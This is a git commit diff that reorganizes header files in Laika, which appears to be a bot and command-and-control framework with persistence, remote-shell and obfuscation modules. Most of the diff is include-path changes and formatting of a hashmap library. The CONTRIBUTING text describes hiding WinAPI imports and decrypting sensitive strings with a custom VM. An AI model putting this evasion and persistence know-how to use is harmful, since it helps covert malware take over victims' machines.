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Refactoring: reorganized files

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CPunch 2022-09-01 20:00:37 -05:00
parent 169313ee39
commit b23057b219
52 changed files with 639 additions and 557 deletions
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8
CONTRIBUTING.md
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@ -17,7 +17,7 @@ Looking for some simple tasks that need to get done for that sweet 'contributor'
- Change `lib/lin/linshell.c` to use openpty() instead of forkpty() for BSD support
- Fix address sanitizer for CMake DEBUG builds
- Change laikaT_getTime in `lib/src/ltask.c` to not use C11 features
- Implement more LAIKA_BOX_* VMs in `lib/include/lbox.h`
- Implement more LAIKA_BOX_* VMs in `lib/include/core/lbox.h`
- Import more WinAPI manually using the method listed below
## Bot: Windows API Imports Obfuscation
@ -63,7 +63,7 @@ If the `real` & `hashed` match, that means our manual runtime import and the imp
Now just replace all of the calls to the raw WinAPI (in our case, ShellExecuteA) with our new manually imported oShellExecuteA function pointer. Format & commit your changes, and open a PR and I'll merge your changes. Thanks!
## Lib: Error Handling
Error handling in Laika is done via the 'lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp(). The LAIKA_ERROR(...) is used to throw errors.
Error handling in Laika is done via the 'core/lerror.h' header library. It's a small and simple error handling solution written for laika, however can be stripped and used as a simple error handling library. Error handling in Laika is used similarly to other languages, implementing a try & catch block and is achieved using setjmp(). The LAIKA_ERROR(...) is used to throw errors.
Example:
```C
@ -85,13 +85,13 @@ Some minor inconveniences include:
## Lib: Packet Handlers
Laika has a simple binary protocol & a small backend (see `lib/src/lpeer.c`) to handle packets to/from peers. `lib/include/lpacket.h` includes descriptions for each packet type. For an example of proper packet handler definitions see `bot/src/bot.c`. It boils down to passing a sLaika_peerPacketInfo table to laikaS_newPeer. To add packet handlers to the bot, add your handler info to laikaB_pktTbl in `bot/src/bot.c`. To add packet handlers to the shell, add your handler info to shellC_pktTbl in `shell/src/sclient.c`. For adding packet handlers to cnc, make sure you add them to the corresponding table in `cnc/src/cnc.c`, laikaC_botPktTbl for packets being received from a bot peer, laikaC_authPktTbl for packets being received from an auth peer (shell), or DEFAULT_PKT_TBL if it's received by all peer types (things like handshakes, keep-alive, etc.)
Laika has a simple binary protocol & a small backend (see `lib/src/lpeer.c`) to handle packets to/from peers. `lib/include/net/lpacket.h` includes descriptions for each packet type. For an example of proper packet handler definitions see `bot/src/bot.c`. It boils down to passing a sLaika_peerPacketInfo table to laikaS_newPeer. To add packet handlers to the bot, add your handler info to laikaB_pktTbl in `bot/src/bot.c`. To add packet handlers to the shell, add your handler info to shellC_pktTbl in `shell/src/sclient.c`. For adding packet handlers to cnc, make sure you add them to the corresponding table in `cnc/src/cnc.c`, laikaC_botPktTbl for packets being received from a bot peer, laikaC_authPktTbl for packets being received from an auth peer (shell), or DEFAULT_PKT_TBL if it's received by all peer types (things like handshakes, keep-alive, etc.)
## Lib: Task Service
Tasks can be scheduled on a delta-period (call X function every approximate N seconds). laikaT_pollTasks() is used to check & run any currently queued tasks. This is useful for sending keep-alive packets, polling shell pipes, or other repeatably scheduled tasks. Most laikaT_pollTasks() calls are done in the peerHandler for each client/server.
## Lib: VM Boxes
Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/lvm.h`, for information on how to use them read `lib/include/lbox.h`. Feel free to write your own boxes and contribute them :D
Laika has a tiny VM for decrypting sensitive information. For details on the ISA read `lib/include/core/lvm.h`, for information on how to use them read `lib/include/core/lbox.h`. Feel free to write your own boxes and contribute them :D
## Bot: Platform-specific backends

12
bot/include/bot.h
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@ -1,13 +1,13 @@
#ifndef LAIKA_BOT_H
#define LAIKA_BOT_H
#include "core/lsodium.h"
#include "core/ltask.h"
#include "laika.h"
#include "lpacket.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
#include "net/lpacket.h"
#include "net/lpeer.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
struct sLaika_shell;
struct sLaika_bot

2
bot/include/shell.h
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@ -2,7 +2,7 @@
#define LAIKA_SHELL_H
#include "laika.h"
#include "lpacket.h"
#include "net/lpacket.h"
#include <time.h>

8
bot/lin/linpersist.c
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@ -1,10 +1,10 @@
/* platform specific code for achieving persistence on linux */
#include "lbox.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "net/lsocket.h"
#include "persist.h"
#include <pwd.h>

6
bot/lin/linshell.c
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@ -1,9 +1,9 @@
/* platform specific code for opening shells in linux */
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include "ltask.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/ltask.h"
#include "shell.h"
#include <pty.h>

8
bot/src/bot.c
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@ -1,9 +1,9 @@
#include "bot.h"
#include "lbox.h"
#include "lerror.h"
#include "lmem.h"
#include "lsodium.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "shell.h"
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData)

6
bot/src/main.c
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@ -1,8 +1,8 @@
#include "bot.h"
#include "lbox.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/ltask.h"
#include "lconfig.h"
#include "lerror.h"
#include "ltask.h"
#include "lobf.h"
#include "persist.h"
#include "shell.h"

4
bot/src/shell.c
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@ -1,8 +1,8 @@
#include "shell.h"
#include "bot.h"
#include "lerror.h"
#include "lmem.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include <inttypes.h>
#include <stdio.h>

8
bot/win/winpersist.c
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@ -6,11 +6,11 @@
#pragma comment(lib, "Shlwapi.lib")
#include "lbox.h"
#include "core/lbox.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lvm.h"
#include "lconfig.h"
#include "lerror.h"
#include "lmem.h"
#include "lvm.h"
#include "lobf.h"
#include "persist.h"

4
bot/win/winshell.c
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@ -1,8 +1,8 @@
/* platform specific code for opening shells (pseudo consoles) on windows */
#include "bot.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "lobf.h"
#include "lerror.h"
#include "lmem.h"
#include "shell.h"
#include <process.h>

14
cnc/include/cnc.h
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@ -1,14 +1,14 @@
#ifndef LAIKA_CNC_H
#define LAIKA_CNC_H
#include "hashmap.h"
#include "core/hashmap.h"
#include "core/lmem.h"
#include "core/ltask.h"
#include "laika.h"
#include "lmem.h"
#include "lpacket.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "ltask.h"
#include "net/lpacket.h"
#include "net/lpeer.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
/* kill peers if they haven't ping'd within a minute */
#define LAIKA_PEER_TIMEOUT 60 * 1000

2
cnc/include/cpanel.h
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@ -2,7 +2,7 @@
#define LAIKA_CNC_PANEL_H
#include "cnc.h"
#include "lpeer.h"
#include "net/lpeer.h"
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer);
void laikaC_sendNewPeer(struct sLaika_peer *authPeer, struct sLaika_peer *bot);

8
cnc/include/cpeer.h
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@ -2,10 +2,10 @@
#define LAIKA_CNC_PEER_H
#include "laika.h"
#include "lpacket.h"
#include "lpeer.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "net/lpacket.h"
#include "net/lpeer.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
struct sLaika_peerInfo
{

10
cnc/src/cnc.c
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@ -1,12 +1,12 @@
#include "cnc.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "core/lsodium.h"
#include "core/ltask.h"
#include "cpanel.h"
#include "cpeer.h"
#include "lerror.h"
#include "lmem.h"
#include "lsocket.h"
#include "lsodium.h"
#include "ltask.h"
#include "net/lsocket.h"
/* ======================================[[ PeerHashMap ]]======================================= */

4
cnc/src/cpanel.c
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@ -1,9 +1,9 @@
#include "cpanel.h"
#include "cnc.h"
#include "core/lerror.h"
#include "core/lmem.h"
#include "cpeer.h"
#include "lerror.h"
#include "lmem.h"
void laikaC_sendPeerList(struct sLaika_cnc *cnc, struct sLaika_peer *authPeer)
{

4
cnc/src/cpeer.c
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@ -1,8 +1,8 @@
#include "cpeer.h"
#include "cnc.h"
#include "lerror.h"
#include "lmem.h"
#include "core/lerror.h"
#include "core/lmem.h"
/* =======================================[[ Peer Info ]]======================================= */

4
cnc/src/main.c
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@ -1,7 +1,7 @@
#include "cnc.h"
#include "ini.h"
#include "core/ini.h"
#include "core/ltask.h"
#include "lconfig.h"
#include "ltask.h"
#include <stdio.h>

2
lib/CMakeLists.txt
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@ -8,7 +8,7 @@ project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR})
set_property(GLOBAL PROPERTY USE_FOLDERS ON)
# compile LaikaLib library
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c ${CMAKE_CURRENT_SOURCE_DIR}/vendor/**.c)
file(GLOB_RECURSE LIBSOURCE ${CMAKE_CURRENT_SOURCE_DIR}/src/**.c)
file(GLOB_RECURSE LIBHEADERS ${CMAKE_CURRENT_SOURCE_DIR}/include/**.h)
# include platform specific backends

0
lib/include/hashmap.h → lib/include/core/hashmap.h
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13
lib/include/ini.h → lib/include/core/ini.h
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@ -16,7 +16,8 @@ https://github.com/benhoyt/inih
/* Make this header file easier to include in C++ code */
#ifdef __cplusplus
extern "C" {
extern "C"
{
#endif
#include <stdio.h>
@ -28,12 +29,10 @@ extern "C" {
/* Typedef for prototype of handler function. */
#if INI_HANDLER_LINENO
typedef int (*ini_handler)(void* user, const char* section,
const char* name, const char* value,
typedef int (*ini_handler)(void *user, const char *section, const char *name, const char *value,
int lineno);
#else
typedef int (*ini_handler)(void* user, const char* section,
const char* name, const char* value);
typedef int (*ini_handler)(void *user, const char *section, const char *name, const char *value);
#endif
/* Typedef for prototype of fgets-style reader function. */
@ -61,8 +60,7 @@ int ini_parse_file(FILE* file, ini_handler handler, void* user);
/* Same as ini_parse(), but takes an ini_reader function pointer instead of
filename. Used for implementing custom or string-based I/O (see also
ini_parse_string). */
int ini_parse_stream(ini_reader reader, void* stream, ini_handler handler,
void* user);
int ini_parse_stream(ini_reader reader, void *stream, ini_handler handler, void *user);
/* Same as ini_parse(), but takes a zero-terminated string with the INI data
instead of a file. Useful for parsing INI data from a network socket or
@ -149,7 +147,6 @@ int ini_parse_string(const char* string, ini_handler handler, void* user);
# define INI_CUSTOM_ALLOCATOR 0
#endif
#ifdef __cplusplus
}
#endif

6
lib/include/lbox.h → lib/include/core/lbox.h
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@ -1,10 +1,10 @@
#ifndef LAIKA_BOX_H
#define LAIKA_BOX_H
#include "core/lmem.h"
#include "core/lsodium.h"
#include "core/lvm.h"
#include "laika.h"
#include "lmem.h"
#include "lsodium.h"
#include "lvm.h"
#include <inttypes.h>

0
lib/include/lerror.h → lib/include/core/lerror.h
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0
lib/include/lmem.h → lib/include/core/lmem.h
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0
lib/include/lsodium.h → lib/include/core/lsodium.h
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0
lib/include/ltask.h → lib/include/core/ltask.h
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2
lib/include/lvm.h → lib/include/core/lvm.h
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@ -9,8 +9,8 @@
fit this specific use case.
*/
#include "core/lerror.h"
#include "laika.h"
#include "lerror.h"
#include <inttypes.h>

0
lib/include/lpacket.h → lib/include/net/lpacket.h
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8
lib/include/lpeer.h → lib/include/net/lpeer.h
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@ -1,11 +1,11 @@
#ifndef LAIKA_PEER_H
#define LAIKA_PEER_H
#include "core/lsodium.h"
#include "laika.h"
#include "lpacket.h"
#include "lpolllist.h"
#include "lsocket.h"
#include "lsodium.h"
#include "net/lpacket.h"
#include "net/lpolllist.h"
#include "net/lsocket.h"
typedef enum
{

6
lib/include/lpolllist.h → lib/include/net/lpolllist.h
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@ -1,10 +1,10 @@
#ifndef LAIKA_POLLLIST_H
#define LAIKA_POLLLIST_H
#include "hashmap.h"
#include "core/hashmap.h"
#include "core/lmem.h"
#include "laika.h"
#include "lmem.h"
#include "lsocket.h"
#include "net/lsocket.h"
#include <stdbool.h>

4
lib/include/lsocket.h → lib/include/net/lsocket.h
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@ -54,8 +54,8 @@ typedef void buffer_t;
# define SOCKETERROR(x) (x == -1)
#endif
#include "laika.h"
#include "lsodium.h"
#include "lmem.h"
#include "core/lsodium.h"
#include "core/lmem.h"
#include <fcntl.h>
#include <stdbool.h>

468
lib/vendor/hashmap.c → lib/src/core/hashmap.c
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@ -2,7 +2,7 @@
// Use of this source code is governed by an MIT-style
// license that can be found in the LICENSE file.
#include "hashmap.h"
#include "core/hashmap.h"
#include <stddef.h>
#include <stdint.h>
@ -23,18 +23,21 @@ void hashmap_set_allocator(void *(*malloc)(size_t), void (*free)(void*))
_free = free;
}
#define panic(_msg_) { \
#define panic(_msg_) \
{ \
fprintf(stderr, "panic: %s (%s:%d)\n", (_msg_), __FILE__, __LINE__); \
exit(1); \
}
struct bucket {
struct bucket
{
uint64_t hash : 48;
uint64_t dib : 16;
};
// hashmap is an open addressed hash map using robinhood hashing.
struct hashmap {
struct hashmap
{
void *(*malloc)(size_t);
void *(*realloc)(void *, size_t);
void (*free)(void *);
@ -58,32 +61,30 @@ struct hashmap {
void *edata;
};
static struct bucket *bucket_at(struct hashmap *map, size_t index) {
static struct bucket *bucket_at(struct hashmap *map, size_t index)
{
return (struct bucket *)(((char *)map->buckets) + (map->bucketsz * index));
}
static void *bucket_item(struct bucket *entry) {
static void *bucket_item(struct bucket *entry)
{
return ((char *)entry) + sizeof(struct bucket);
}
static uint64_t get_hash(struct hashmap *map, const void *key) {
static uint64_t get_hash(struct hashmap *map, const void *key)
{
return map->hash(key, map->seed0, map->seed1) << 16 >> 16;
}
// hashmap_new_with_allocator returns a new hash map using a custom allocator.
// See hashmap_new for more information information
struct hashmap *hashmap_new_with_allocator(
void *(*_malloc)(size_t),
void *(*_realloc)(void*, size_t),
void (*_free)(void*),
size_t elsize, size_t cap,
uint64_t seed0, uint64_t seed1,
uint64_t (*hash)(const void *item,
uint64_t seed0, uint64_t seed1),
int (*compare)(const void *a, const void *b,
void *udata),
void (*elfree)(void *item),
void *udata)
struct hashmap *
hashmap_new_with_allocator(void *(*_malloc)(size_t), void *(*_realloc)(void *, size_t),
void (*_free)(void *), size_t elsize, size_t cap, uint64_t seed0,
uint64_t seed1,
uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1),
int (*compare)(const void *a, const void *b, void *udata),
void (*elfree)(void *item), void *udata)
{
_malloc = _malloc ? _malloc : malloc;
_realloc = _realloc ? _realloc : realloc;
@ -135,7 +136,6 @@ struct hashmap *hashmap_new_with_allocator(
return map;
}
// hashmap_new returns a new hash map.
// Param `elsize` is the size of each element in the tree. Every element that
// is inserted, deleted, or retrieved will be this size.
@ -153,40 +153,35 @@ struct hashmap *hashmap_new_with_allocator(
// The hashmap must be freed with hashmap_free().
// Param `elfree` is a function that frees a specific item. This should be NULL
// unless you're storing some kind of reference data in the hash.
struct hashmap *hashmap_new(size_t elsize, size_t cap,
uint64_t seed0, uint64_t seed1,
uint64_t (*hash)(const void *item,
uint64_t seed0, uint64_t seed1),
int (*compare)(const void *a, const void *b,
void *udata),
void (*elfree)(void *item),
void *udata)
struct hashmap *hashmap_new(size_t elsize, size_t cap, uint64_t seed0, uint64_t seed1,
uint64_t (*hash)(const void *item, uint64_t seed0, uint64_t seed1),
int (*compare)(const void *a, const void *b, void *udata),
void (*elfree)(void *item), void *udata)
{
return hashmap_new_with_allocator(
(_malloc?_malloc:malloc),
(_realloc?_realloc:realloc),
(_free?_free:free),
elsize, cap, seed0, seed1, hash, compare, elfree, udata
);
return hashmap_new_with_allocator((_malloc ? _malloc : malloc), (_realloc ? _realloc : realloc),
(_free ? _free : free), elsize, cap, seed0, seed1, hash,
compare, elfree, udata);
}
static void free_elements(struct hashmap *map) {
static void free_elements(struct hashmap *map)
{
if (map->elfree) {
for (size_t i = 0; i < map->nbuckets; i++) {
struct bucket *bucket = bucket_at(map, i);
if (bucket->dib) map->elfree(bucket_item(bucket));
if (bucket->dib)
map->elfree(bucket_item(bucket));
}
}
}
// hashmap_clear quickly clears the map.
// Every item is called with the element-freeing function given in hashmap_new,
// if present, to free any data referenced in the elements of the hashmap.
// When the update_cap is provided, the map's capacity will be updated to match
// the currently number of allocated buckets. This is an optimization to ensure
// that this operation does not perform any allocations.
void hashmap_clear(struct hashmap *map, bool update_cap) {
void hashmap_clear(struct hashmap *map, bool update_cap)
{
map->count = 0;
free_elements(map);
if (update_cap) {
@ -205,11 +200,10 @@ void hashmap_clear(struct hashmap *map, bool update_cap) {
map->shrinkat = map->nbuckets * 0.10;
}
static bool resize(struct hashmap *map, size_t new_cap) {
struct hashmap *map2 = hashmap_new(map->elsize, new_cap, map->seed1,
map->seed1, map->hash, map->compare,
map->elfree, map->udata);
static bool resize(struct hashmap *map, size_t new_cap)
{
struct hashmap *map2 = hashmap_new(map->elsize, new_cap, map->seed1, map->seed1, map->hash,
map->compare, map->elfree, map->udata);
if (!map2) {
return false;
}
@ -249,7 +243,8 @@ static bool resize(struct hashmap *map, size_t new_cap) {
// replaced then it is returned otherwise NULL is returned. This operation
// may allocate memory. If the system is unable to allocate additional
// memory then NULL is returned and hashmap_oom() returns true.
void *hashmap_set(struct hashmap *map, const void *item) {
void *hashmap_set(struct hashmap *map, const void *item)
{
if (!item) {
panic("item is null");
}
@ -261,7 +256,6 @@ void *hashmap_set(struct hashmap *map, const void *item) {
}
}
struct bucket *entry = map->edata;
entry->hash = get_hash(map, item);
entry->dib = 1;
@ -276,9 +270,7 @@ void *hashmap_set(struct hashmap *map, const void *item) {
return NULL;
}
if (entry->hash == bucket->hash &&
map->compare(bucket_item(entry), bucket_item(bucket),
map->udata) == 0)
{
map->compare(bucket_item(entry), bucket_item(bucket), map->udata) == 0) {
memcpy(map->spare, bucket_item(bucket), map->elsize);
memcpy(bucket_item(bucket), bucket_item(entry), map->elsize);
return map->spare;
@ -295,7 +287,8 @@ void *hashmap_set(struct hashmap *map, const void *item) {
// hashmap_get returns the item based on the provided key. If the item is not
// found then NULL is returned.
void *hashmap_get(struct hashmap *map, const void *key) {
void *hashmap_get(struct hashmap *map, const void *key)
{
if (!key) {
panic("key is null");
}
@ -306,9 +299,7 @@ void *hashmap_get(struct hashmap *map, const void *key) {
if (!bucket->dib) {
return NULL;
}
if (bucket->hash == hash &&
map->compare(key, bucket_item(bucket), map->udata) == 0)
{
if (bucket->hash == hash && map->compare(key, bucket_item(bucket), map->udata) == 0) {
return bucket_item(bucket);
}
i = (i + 1) & map->mask;
@ -318,7 +309,8 @@ void *hashmap_get(struct hashmap *map, const void *key) {
// hashmap_probe returns the item in the bucket at position or NULL if an item
// is not set for that bucket. The position is 'moduloed' by the number of
// buckets in the hashmap.
void *hashmap_probe(struct hashmap *map, uint64_t position) {
void *hashmap_probe(struct hashmap *map, uint64_t position)
{
size_t i = position & map->mask;
struct bucket *bucket = bucket_at(map, i);
if (!bucket->dib) {
@ -327,10 +319,10 @@ void *hashmap_probe(struct hashmap *map, uint64_t position) {
return bucket_item(bucket);
}
// hashmap_delete removes an item from the hash map and returns it. If the
// item is not found then NULL is returned.
void *hashmap_delete(struct hashmap *map, void *key) {
void *hashmap_delete(struct hashmap *map, void *key)
{
if (!key) {
panic("key is null");
}
@ -342,9 +334,7 @@ void *hashmap_delete(struct hashmap *map, void *key) {
if (!bucket->dib) {
return NULL;
}
if (bucket->hash == hash &&
map->compare(key, bucket_item(bucket), map->udata) == 0)
{
if (bucket->hash == hash && map->compare(key, bucket_item(bucket), map->udata) == 0) {
memcpy(map->spare, bucket_item(bucket), map->elsize);
bucket->dib = 0;
for (;;) {
@ -372,15 +362,18 @@ void *hashmap_delete(struct hashmap *map, void *key) {
}
// hashmap_count returns the number of items in the hash map.
size_t hashmap_count(struct hashmap *map) {
size_t hashmap_count(struct hashmap *map)
{
return map->count;
}
// hashmap_free frees the hash map
// Every item is called with the element-freeing function given in hashmap_new,
// if present, to free any data referenced in the elements of the hashmap.
void hashmap_free(struct hashmap *map) {
if (!map) return;
void hashmap_free(struct hashmap *map)
{
if (!map)
return;
free_elements(map);
map->free(map->buckets);
map->free(map);
@ -388,15 +381,15 @@ void hashmap_free(struct hashmap *map) {
// hashmap_oom returns true if the last hashmap_set() call failed due to the
// system being out of memory.
bool hashmap_oom(struct hashmap *map) {
bool hashmap_oom(struct hashmap *map)
{
return map->oom;
}
// hashmap_scan iterates over all items in the hash map
// Param `iter` can return false to stop iteration early.
// Returns false if the iteration has been stopped early.
bool hashmap_scan(struct hashmap *map,
bool (*iter)(const void *item, void *udata), void *udata)
bool hashmap_scan(struct hashmap *map, bool (*iter)(const void *item, void *udata), void *udata)
{
for (size_t i = 0; i < map->nbuckets; i++) {
struct bucket *bucket = bucket_at(map, i);
@ -409,7 +402,6 @@ bool hashmap_scan(struct hashmap *map,
return true;
}
// hashmap_iter iterates one key at a time yielding a reference to an
// entry at each iteration. Useful to write simple loops and avoid writing
// dedicated callbacks and udata structures, as in hashmap_scan.
@ -433,7 +425,8 @@ bool hashmap_iter(struct hashmap *map, size_t *i, void **item)
struct bucket *bucket;
do {
if (*i >= map->nbuckets) return false;
if (*i >= map->nbuckets)
return false;
bucket = bucket_at(map, *i);
(*i)++;
@ -444,7 +437,6 @@ bool hashmap_iter(struct hashmap *map, size_t *i, void **item)
return true;
}
//-----------------------------------------------------------------------------
// SipHash reference C implementation
//
@ -462,32 +454,42 @@ bool hashmap_iter(struct hashmap *map, size_t *i, void **item)
//
// default: SipHash-2-4
//-----------------------------------------------------------------------------
static uint64_t SIP64(const uint8_t *in, const size_t inlen,
uint64_t seed0, uint64_t seed1)
static uint64_t SIP64(const uint8_t *in, const size_t inlen, uint64_t seed0, uint64_t seed1)
{
#define U8TO64_LE(p) \
{ (((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) | \
((uint64_t)((p)[2]) << 16) | ((uint64_t)((p)[3]) << 24) | \
((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \
{(((uint64_t)((p)[0])) | ((uint64_t)((p)[1]) << 8) | ((uint64_t)((p)[2]) << 16) | \
((uint64_t)((p)[3]) << 24) | ((uint64_t)((p)[4]) << 32) | ((uint64_t)((p)[5]) << 40) | \
((uint64_t)((p)[6]) << 48) | ((uint64_t)((p)[7]) << 56))}
#define U64TO8_LE(p, v) \
{ U32TO8_LE((p), (uint32_t)((v))); \
U32TO8_LE((p) + 4, (uint32_t)((v) >> 32)); }
{ \
U32TO8_LE((p), (uint32_t)((v))); \
U32TO8_LE((p) + 4, (uint32_t)((v) >> 32)); \
}
#define U32TO8_LE(p, v) \
{ (p)[0] = (uint8_t)((v)); \
{ \
(p)[0] = (uint8_t)((v)); \
(p)[1] = (uint8_t)((v) >> 8); \
(p)[2] = (uint8_t)((v) >> 16); \
(p)[3] = (uint8_t)((v) >> 24); }
(p)[3] = (uint8_t)((v) >> 24); \
}
#define ROTL(x, b) (uint64_t)(((x) << (b)) | ((x) >> (64 - (b))))
#define SIPROUND \
{ v0 += v1; v1 = ROTL(v1, 13); \
v1 ^= v0; v0 = ROTL(v0, 32); \
v2 += v3; v3 = ROTL(v3, 16); \
{ \
v0 += v1; \
v1 = ROTL(v1, 13); \
v1 ^= v0; \
v0 = ROTL(v0, 32); \
v2 += v3; \
v3 = ROTL(v3, 16); \
v3 ^= v2; \
v0 += v3; v3 = ROTL(v3, 21); \
v0 += v3; \
v3 = ROTL(v3, 21); \
v3 ^= v0; \
v2 += v1; v1 = ROTL(v1, 17); \
v1 ^= v2; v2 = ROTL(v2, 32); }
v2 += v1; \
v1 = ROTL(v1, 17); \
v1 ^= v2; \
v2 = ROTL(v2, 32); \
}
uint64_t k0 = U8TO64_LE((uint8_t *)&seed0);
uint64_t k1 = U8TO64_LE((uint8_t *)&seed1);
uint64_t v3 = UINT64_C(0x7465646279746573) ^ k1;
@ -498,26 +500,40 @@ static uint64_t SIP64(const uint8_t *in, const size_t inlen,
for (; in != end; in += 8) {
uint64_t m = U8TO64_LE(in);
v3 ^= m;
SIPROUND; SIPROUND;
SIPROUND;
SIPROUND;
v0 ^= m;
}
const int left = inlen & 7;
uint64_t b = ((uint64_t)inlen) << 56;
switch (left) {
case 7: b |= ((uint64_t)in[6]) << 48;
case 6: b |= ((uint64_t)in[5]) << 40;
case 5: b |= ((uint64_t)in[4]) << 32;
case 4: b |= ((uint64_t)in[3]) << 24;
case 3: b |= ((uint64_t)in[2]) << 16;
case 2: b |= ((uint64_t)in[1]) << 8;
case 1: b |= ((uint64_t)in[0]); break;
case 0: break;
case 7:
b |= ((uint64_t)in[6]) << 48;
case 6:
b |= ((uint64_t)in[5]) << 40;
case 5:
b |= ((uint64_t)in[4]) << 32;
case 4:
b |= ((uint64_t)in[3]) << 24;
case 3:
b |= ((uint64_t)in[2]) << 16;
case 2:
b |= ((uint64_t)in[1]) << 8;
case 1:
b |= ((uint64_t)in[0]);
break;
case 0:
break;
}
v3 ^= b;
SIPROUND; SIPROUND;
SIPROUND;
SIPROUND;
v0 ^= b;
v2 ^= 0xff;
SIPROUND; SIPROUND; SIPROUND; SIPROUND;
SIPROUND;
SIPROUND;
SIPROUND;
SIPROUND;
b = v0 ^ v1 ^ v2 ^ v3;
uint64_t out = 0;
U64TO8_LE((uint8_t *)&out, b);
@ -530,9 +546,15 @@ static uint64_t SIP64(const uint8_t *in, const size_t inlen,
//
// Murmur3_86_128
//-----------------------------------------------------------------------------
static void MM86128(const void *key, const int len, uint32_t seed, void *out) {
static void MM86128(const void *key, const int len, uint32_t seed, void *out)
{
#define ROTL32(x, r) ((x << r) | (x >> (32 - r)))
#define FMIX32(h) h^=h>>16; h*=0x85ebca6b; h^=h>>13; h*=0xc2b2ae35; h^=h>>16;
#define FMIX32(h) \
h ^= h >> 16; \
h *= 0x85ebca6b; \
h ^= h >> 13; \
h *= 0xc2b2ae35; \
h ^= h >> 16;
const uint8_t *data = (const uint8_t *)key;
const int nblocks = len / 16;
uint32_t h1 = seed;
@ -549,14 +571,34 @@ static void MM86128(const void *key, const int len, uint32_t seed, void *out) {
uint32_t k2 = blocks[i * 4 + 1];
uint32_t k3 = blocks[i * 4 + 2];
uint32_t k4 = blocks[i * 4 + 3];
k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1;
h1 = ROTL32(h1,19); h1 += h2; h1 = h1*5+0x561ccd1b;
k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2;
h2 = ROTL32(h2,17); h2 += h3; h2 = h2*5+0x0bcaa747;
k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3;
h3 = ROTL32(h3,15); h3 += h4; h3 = h3*5+0x96cd1c35;
k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4;
h4 = ROTL32(h4,13); h4 += h1; h4 = h4*5+0x32ac3b17;
k1 *= c1;
k1 = ROTL32(k1, 15);
k1 *= c2;
h1 ^= k1;
h1 = ROTL32(h1, 19);
h1 += h2;
h1 = h1 * 5 + 0x561ccd1b;
k2 *= c2;
k2 = ROTL32(k2, 16);
k2 *= c3;
h2 ^= k2;
h2 = ROTL32(h2, 17);
h2 += h3;
h2 = h2 * 5 + 0x0bcaa747;
k3 *= c3;
k3 = ROTL32(k3, 17);
k3 *= c4;
h3 ^= k3;
h3 = ROTL32(h3, 15);
h3 += h4;
h3 = h3 * 5 + 0x96cd1c35;
k4 *= c4;
k4 = ROTL32(k4, 18);
k4 *= c1;
h4 ^= k4;
h4 = ROTL32(h4, 13);
h4 += h1;
h4 = h4 * 5 + 0x32ac3b17;
}
const uint8_t *tail = (const uint8_t *)(data + nblocks * 16);
uint32_t k1 = 0;
@ -564,32 +606,73 @@ static void MM86128(const void *key, const int len, uint32_t seed, void *out) {
uint32_t k3 = 0;
uint32_t k4 = 0;
switch (len & 15) {
case 15: k4 ^= tail[14] << 16;
case 14: k4 ^= tail[13] << 8;
case 13: k4 ^= tail[12] << 0;
k4 *= c4; k4 = ROTL32(k4,18); k4 *= c1; h4 ^= k4;
case 12: k3 ^= tail[11] << 24;
case 11: k3 ^= tail[10] << 16;
case 10: k3 ^= tail[ 9] << 8;
case 9: k3 ^= tail[ 8] << 0;
k3 *= c3; k3 = ROTL32(k3,17); k3 *= c4; h3 ^= k3;
case 8: k2 ^= tail[ 7] << 24;
case 7: k2 ^= tail[ 6] << 16;
case 6: k2 ^= tail[ 5] << 8;
case 5: k2 ^= tail[ 4] << 0;
k2 *= c2; k2 = ROTL32(k2,16); k2 *= c3; h2 ^= k2;
case 4: k1 ^= tail[ 3] << 24;
case 3: k1 ^= tail[ 2] << 16;
case 2: k1 ^= tail[ 1] << 8;
case 1: k1 ^= tail[ 0] << 0;
k1 *= c1; k1 = ROTL32(k1,15); k1 *= c2; h1 ^= k1;
case 15:
k4 ^= tail[14] << 16;
case 14:
k4 ^= tail[13] << 8;
case 13:
k4 ^= tail[12] << 0;
k4 *= c4;
k4 = ROTL32(k4, 18);
k4 *= c1;
h4 ^= k4;
case 12:
k3 ^= tail[11] << 24;
case 11:
k3 ^= tail[10] << 16;
case 10:
k3 ^= tail[9] << 8;
case 9:
k3 ^= tail[8] << 0;
k3 *= c3;
k3 = ROTL32(k3, 17);
k3 *= c4;
h3 ^= k3;
case 8:
k2 ^= tail[7] << 24;
case 7:
k2 ^= tail[6] << 16;
case 6:
k2 ^= tail[5] << 8;
case 5:
k2 ^= tail[4] << 0;
k2 *= c2;
k2 = ROTL32(k2, 16);
k2 *= c3;
h2 ^= k2;
case 4:
k1 ^= tail[3] << 24;
case 3:
k1 ^= tail[2] << 16;
case 2:
